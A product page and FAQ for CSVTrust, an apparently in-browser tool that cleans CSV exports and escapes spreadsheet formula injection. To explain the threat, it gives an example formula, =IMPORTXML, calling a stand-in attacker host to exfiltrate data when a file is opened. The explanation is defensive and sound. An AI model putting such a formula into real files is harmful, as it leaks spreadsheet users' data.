CSVTrust - free, no upload, runs in your browser
CSVTrust cleans exports from e-commerce platforms, forms, and CRMs: it removes duplicate rows, drops empty lines, trims stray whitespace, and normalizes messy headers. It also neutralizes spreadsheet formula injection before the file reaches Excel, and reports every change it made.
Exported CSVs arrive with predictable problems: duplicate orders from double clicks, blank rows from filtered exports, inconsistent column names like "Order ID" versus "order_id", and cell values padded with invisible spaces that break VLOOKUP and joins.
CSVTrust handles all four in one pass. Paste the CSV text or pick the file, review the change report, and download the cleaned result.
A CSV cell that starts with =, +, -, or @ is interpreted as a formula when the file is opened in Excel or Google Sheets. A cell like =IMPORTXML("https://attacker.test", ...) can exfiltrate data the moment someone opens the file.
CSVTrust escapes dangerous leading characters so they render as plain text. Customer lists, order exports, and anything downloaded from a third party should be run through this guard before it touches a spreadsheet.
Rows whose full content matches exactly after cleanup are treated as duplicates and collapsed into one. Partial matches - for example the same product ID with different quantities - are kept, since merging those requires a business decision.
No. Parsing and cleaning run entirely in your browser. CSVTrust works offline once the page has loaded, and nothing you paste is transmitted.
Files up to about 10 MB, which is roughly 100,000 typical rows depending on column count. Larger files should be split first.
Yes. The output keeps a UTF-8 BOM so Excel opens Chinese, Japanese, and other multibyte text correctly instead of showing mojibake.
Not directly. The cleaned CSV opens cleanly in Excel and imports into Google Sheets in two clicks.